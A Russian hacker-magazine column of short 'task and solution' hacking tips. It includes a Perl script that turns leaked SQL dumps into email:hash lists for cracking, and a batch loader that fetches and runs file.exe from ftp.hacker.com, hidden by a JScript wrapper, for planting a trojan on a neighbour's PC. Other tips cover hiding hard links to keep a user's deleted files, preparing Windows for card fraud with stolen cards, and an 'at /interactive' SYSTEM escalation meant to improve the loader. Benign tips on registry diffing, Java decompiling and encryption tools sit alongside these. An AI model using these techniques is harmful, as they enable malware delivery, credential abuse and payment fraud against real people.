Easy-HackЛеонид «R0id» Стройков Хакер, номер #110, стр. 110-046-1
Задача: преобразовать SQL-дамп к виду email:passwordРешениеПроблема парсинга баз, в том числе и SQL-дампов, не нова даже для хакеров-новичков. Ведь не секрет, что большинство ломаемых хакерами ресурсов в качестве логина пользователя использует именно мыло :). Также известно, что многие юзеры очень любят ставить один и тот же пассворд на кучу сервисов, а значит, и здесь есть, чем поживиться широкому хакерскому карману. Сразу скажу, что способов реализации задуманного несколько. Начнем с первого: 1. Скачиваем известный продукт Denwer, который включает в себя связку PHP+Apache+MySQL, и устанавливаем его на localhost. 2. Запускаем идущий с Denwer в комплекте phpmyadmin, проверяем работоспособность MySQL и импортируем нужный SQL-дамп. 3. Выполняем запрос к СУБД и получаем необходимые данные. Как вариант – можно воспользоваться MySQL-клиентом от RST, либо заюзать уже готовый к бою phpmyadmin. Запрос, естественно, будет напрямую зависеть от названия полей/таблиц, поэтому ограничусь общим видом: SELECT название_поля1, название_поля2 from название_таблицы Кроме того, не забывай про возможность внедрения спецсимволов при помощи функции char(), а также про регулирование выдаваемого мускулом количества записей с помощью limit. Стоит отметить, что описанный способ работает всегда и везде, но он далеко не единственный. Не так давно я наткнулся на любопытный скрипт, предназначенный как раз для парсинга SQL-дампов (ищи его на нашем DVD): #!/usr/bin/perl open (SRC, "$ARGV[0]") or die "Can't open $ARGV[0]:$!"; open (RES, ">$ARGV[1]") or die "Can't create $ARGV[1]:$!"; @src = <SRC>; $num = @src; for ($id = 1;$id != $num;$id++) { $str = "$src[$id]"; if ($str=~ /\w+@\w+.\w+/) { $mail = $&; } if ($str =~ /\w{32}/) { $hash = $&; $res = join ':',$mail,$hash; print RES "$res\n"; } } Как ты понял, сценарий сохраняет в файл список вида mail:hash, который впоследствии удобно экспортировать в утилу PasswordsPro. Запускается скрипт так: perl script.pl С:/dump.sql С:/result.txt После окончания парсинга результат ты можешь наблюдать по адресу С:/result.txt. Задача: получить список изменений в реестре, произошедших после запуска определенной программыРешениеЭто очень актуальная задача. Взять хотя бы программы с ограниченным периодом действия. Для устранения ограничений по времени использования может понадобиться узнать, какие ключи создаются в реестре (с целью их дальнейшей модификации/удаления). Можно воспользоваться навороченными утилитами вроде Regmon, но мы пойдем более простым путем и установим с нашего диска или скачаем маленькую (архив весит 25 Кб) программу regshot.
Задача: создать лоадер для загрузки трояна на компьютер соседа по локалкеРешениеВ последнее время в Сети появилось огромное множество самых разнообразных троянов. На страницах журнала мы не раз описывали принцип действия распространенных зверьков, поэтому возвращаться к этому мы не будем. Лучше рассмотрим достаточно простой в реализации, но вполне работоспособный вариант собственного производства. Ведь все, что есть в паблике, ты и так найдешь, не правда ли? :) Суть идеи такова: заюзать стандартный виндовый батник (с заранее описанными командами) и Java-скрипт, который будет прикрывать батник в процессе выполнения. Для осуществления задуманного нам понадобится: 1. Любой FTP-сервер, к которому имеется доступ. Вполне сгодится какой-нибудь из бесплатных шаред-хостингов. 2. Заранее написанный батник-лоадер. 3. Заранее написанный Java-скрипт, который будет запускать лоадер в скрытом режиме. Далее приступим к созданию батника-лоадера: 1. Создаем файл loader.bat. 2. Заносим в него следующие команды: echo off echo open ftp.hacker.com>log.txt&&echo login>>log.txt&&echo password>>log.txt&&echo get file.exe>>log.txt&&echo bye>>log.txt ftp -s:log.txt file.exe del log.txt 3. Теперь посмотрим на созданный нами лоадер более трезвым взглядом:
Итак, батник готов, настала очередь Java-скрипта: 1. Создаем скрипт script.js. 2. Записываем в него: var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.Run("loader.bat",0); На этом создание функционала завершено :). Остается лишь склеить лоадер и Java-скрипт с какой-нибудь интересной утилой, которую удастся всучить соседу-локальщику. Я искренне надеюсь, что file.exe будет запускать калькулятор и ничего больше. В противном случае, ты загремишь под 273 статью УК РФ. Я тебя предупредил! Задача: замутить бэкап данных без потери места на винчестереРешениеПопытаемся решить эту проблему раз и навсегда при помощи одной из фишек файловой системы NTFS - жестких ссылок (hard links). Имя файла является жесткой ссылкой на определенную область памяти, причем мы не ограничены в использовании нескольких жестких ссылок на одну и ту же область, а значит, файл может иметь несколько имен. Жесткие ссылки работают только в пределах одного логического диска с NTFS, не занимают места на винте и равноправны. Файл не будет удален, пока остается хотя бы одна жесткая ссылка. 1. Создается жесткая ссылка командой fsutil hardlink с параметрами create, именем жесткой ссылки и именем файла, на который она ссылается. Для примера создадим hard link на файл doc.txt. Наберем в консоли: fsutil hardlink create C:\hardlink_to_doc.txt C:\doc.txt В результате выполнения команды получим уведомление: Создана жесткая связь C:\hardlink_to_doc.txt <<===>> C:\doc.txt 2. Мы не будем печатать все это в консоли каждый раз, а напишем прогу на С++, создающую бэкап всех файлов, находящихся в той же папке. Подключим необходимые файлы и объявим переменные: #include <windows.h> WIN32_FIND_DATA winFileData; HANDLE hFile; char szPath[MAX_PATH]; 3. Получим путь до папки, из которой запущена прога, и используем его для получения указателя на первый файл: GetCurrentDirectory(sizeof(szPath),szPath); lstrcat(szPath,"\\*.*"); hFile = FindFirstFile(szPath,&winFileData); 4. В цикле для каждого файла создадим собственную команду «fsutil hardlink create <полное имя ссылки> <полное имя файла>» и выполним ее через консоль: do { char szPath_TMP[MAX_PATH]="hardlink create С:\\backups\\"; lstrcat(szPath_TMP, winFileData.cFileName); lstrcat(szPath_TMP, " "); lstrcat(szPath_TMP, winFileData.cFileName); ShellExecute(0,"open","fsutil", szPath_TMP, NULL, SW_HIDE); } while (FindNextFile(hFile,&winFileData)!=0); FindClose(hFile); 5. Готово. Компилим и наслаждаемся :). 6. Использовать эту особенность NTFS можно как для создания бэкапа данных весом 0 байт, так и для сохранения файлов незадачливого пользователя. Ничто не мешает нам заранее сделать hard links и спрятать их в дальний угол винта. Юзер будет думать, что удалил файло, однако реально он удалит лишь свои жесткие ссылки. Итак, наша цель достигнута, а для более близкого знакомства с hard links я отсылаю тебя к интернету. Задача: подготовить Windows для вбива в забугорном шопеРешениеЯ не стану объяснять тебе, «что такое хорошо, а что такое плохо». Думаю, ты и сам все прекрасно понимаешь. И если уж собрался заниматься вбивом или взглянуть на то, как это делают другие, значит, наверное, подумал. Если ты все еще не до конца уловил смысл самого понятия «вбив», то коротко поясню. Под вбивом в кардерской среде понимается незаконное использование данных о чужих кредитных картах с целью оплаты в Сети какого-либо товара или услуги. Данные о картонке (кредитке) - это ее номер/дата окончания действия и cvv-код (обычно 3 символа). Естественно, понадобится еще и вся информация на кардхолдера (владельца картонки), но на ней мы подробно останавливаться не будем. Любой уважающий себя интернет-шоп имеет собственную систему антифрода, направленную на борьбу с суровыми русскими кардерами. Очень часто заказ могут залочить лишь из-за подозрений в мошенничестве. Факторы, на которые следует обратить внимание в первую очередь, перечислены ниже:
Конечно, я перечислил далеко не все нюансы, но эти - самые основные. В идеале все пункты должны соответствовать «легенде», то есть якобы принадлежать кардхолдеру. Но по опыту могу сказать, что в этом деле «никогда не угадаешь, где найдешь, где потеряешь». Одним словом, антифрод-системы довольно сильно отличаются друг от друга (всем, кроме базовых принципов). Поэтому делаем следующее:
Все перечисленные действия желательно выполнять в англоязычной Винде, установленной на VMware. Задача: декомпилировать (восстановить) исходный код двоичного class-файла приложения, написанного на JavaРешениеОчень часто возникает необходимость включить в свой проект какую-либо специфическую функцию, написанную на Java. На написание ее можно потратить немало времени, но если существует продукт, который выполняет аналогичные требуемым операции, можно позаимствовать код оттуда. Тут же возникает вопрос: как это сделать, если исходников в открытом доступе нет, а при распаковке JAR-архива Java-приложения мы видим набор скомпилированных class-файлов? Конечно, необходимость декомпилирования может возникнуть и в случае, когда требуется немного изменить функциональность программы. Нам поможет программа-декомпилятор DJ JAVA DECOMPILER, которую можно найти на нашем диске или утянуть по ссылке http://cracklab.ru/download.php?action=get&n=NDM1. 1. Устанавливаем программу и запускаем dj.exe. Выбираем пункт меню «File -> Open» и в окне обзора указываем JAR-файл приложения или *.class-файл (программа поддерживает и другие форматы файлов). 2. Если выбран файл-архив JAR, откроется окно встроенного в программу архиватора, содержащее список входящих в него файлов и краткую информацию. Можно либо распаковать содержимое архива в папку, выбрав необходимые файлы и нажав на кнопку Extract, либо открыть нужный файл для дальнейшей работы с ним (например, декомпиляции) в программе по двойному щелчку. Я попробовал декомпилировать файл мобильного ICQ-клиента MIP и понял, что он собран на основе модифицированной популярной телефонной аськи JIMM. Ты можешь не поверить своим глазам, но выдаваемый декомпилятором код предельно понятен и легок для чтения! В верхнем фрейме окна декомпилятора представлен код обработанного class-файла, в нижнем фрейме находится список функций, входящих в файл. Это очень удобно: по двойному щелчку по названию функции происходит перемещение на ее начало в окне кода. Справа от окна кода находится панель, которая позволяет скомпилировать файл, заархивировать файл в JAR и даже попробовать исполнить код на виртуальной Java-машине (для этого, правда, необходимо сначала указать путь к необходимым файлам Java-машины). 3. Если требуется изменить функциональность программы, а не просто декомпилировать и выдрать кусок кода, то имеет смысл распаковать JAR-архив в отдельную директорию. Задача: получить права SYSTEM в Винде, имея на руках админский доступ к ОСРешениеНи для кого не секрет, что самым верхним уровнем доступа в Винде является ring 0 или, как говорят, нулевое кольцо. А самым низким - права гостя. Тем не менее Винда не Линукс, и завидное большинство пользователей в повседневной работе сидит из-под админского аккаунта. Чем это грозит и что из этого можно извлечь, мы описывали в статье «Один на один». Но порой одним западлостроением не обойтись, да и права SYSTEM лишними не бывают, тем более что с ними открываются поистине рутовые возможности в Винде. На самом деле получить такие права в системе не составляет никакого труда, нужен лишь админский аккаунт и минута свободного времени. Итак, приступим: 1. Создаем батник - файл с расширением bat. 2. Записываем в нем: at 01:00 /interactive "cmd" 3. Смотрим на время, установленное на локальном компе, и меняем в батнике значение 01:00 на нужное нам. То есть, если на компе 21:00, то в батнике имеет смысл указать 21:01 :). 4. Запускаем получившийся bat-файл, ждем одну минуту и получаем консоль с правами SYSTEM :). Кроме того, если перезапустить explorer.exe, то мы сами окажемся в системе с правами SYSTEM. Как использовать эту фишку, думай сам, однако таким образом можно несколько доработать вариант с лоадером, описанный выше. В общем, пробуй и все получится :). Задача: защитить информацию от несанкционированного доступаРешениеВ наше неспокойное время часто приходится пользоваться шифрованием для защиты приватной информации. Написано много программ, использующих надежные, хорошо зарекомендовавшие себя криптографические алгоритмы и их комбинации, остается только выбрать для себя наиболее удобные и безопасные реализации. 1. Создание защищенного диска. Программа добавляет свой виртуальный диск и блокирует к нему доступ, требуя ввести пароль. Все данные, находящиеся на нем, шифруются, а сам виртуальный диск представляет собой файл с определенной структурой. Прога висит в процессах (часто в трее) и отслеживает работу юзера со своим диском. Во многих утилах поддерживается несколько виртуальных устройств. Программа Cryptainer от Cypherix использует вышеописанный принцип и шифрует данные алгоритмами Blowfish и AES, задействуя пользовательский пароль длиной до 100 символов. 2. Создание запускаемого шифрованного файла. Утила шифрует пользовательские данные и добавляет к ним исполняемый модуль, что делает его автономным. Для расшифровки такого файла не нужно иметь прогу, которой его шифровали. Достаточно знать пароль. Преимущество этого метода в том, что твоя инфа перестает зависеть от компа, на котором установлена программа шифрования. Файл можно взять с собой на флешке, отправить по почте и т.д. Пример такой утилы - CipherWall (www.cipherwall.com), русская бесплатная программа, использующая криптографические алгоритмы Blowfish, RC4, RC5 и CAST-256. 3. Очень удобным является шифрование буфера обмена. Допустим, нужно сохранить приватность переписки, причем и отправитель, и получатель имеют одну и ту же прогу. Копируем набранный текст в буфер обмена любым привычным способом (<Ctrl-C>), шифруем, используя пароль, и вставляем обратно. На выходе получаем сплошной бессвязный набор букв и цифр. Получив такое письмо, копируем содержимое, вводим пароль и вставляем оригинальный текст. Сама прога обычно весит пару сотен килобайт и может быть отправлена вместе с письмом. Как говорится, дешево и сердито. Опробовать такой метод можно, запустив ClipSecure. Эта бесплатная прога поддерживает девять различных алгоритмов шифрования и шесть хэширования, полностью настраиваемая, а также имеет простой и удобный интерфейс. Теперь твои данные будут под надежной (относительно надежной. - Прим. Forb’а) защитой.
|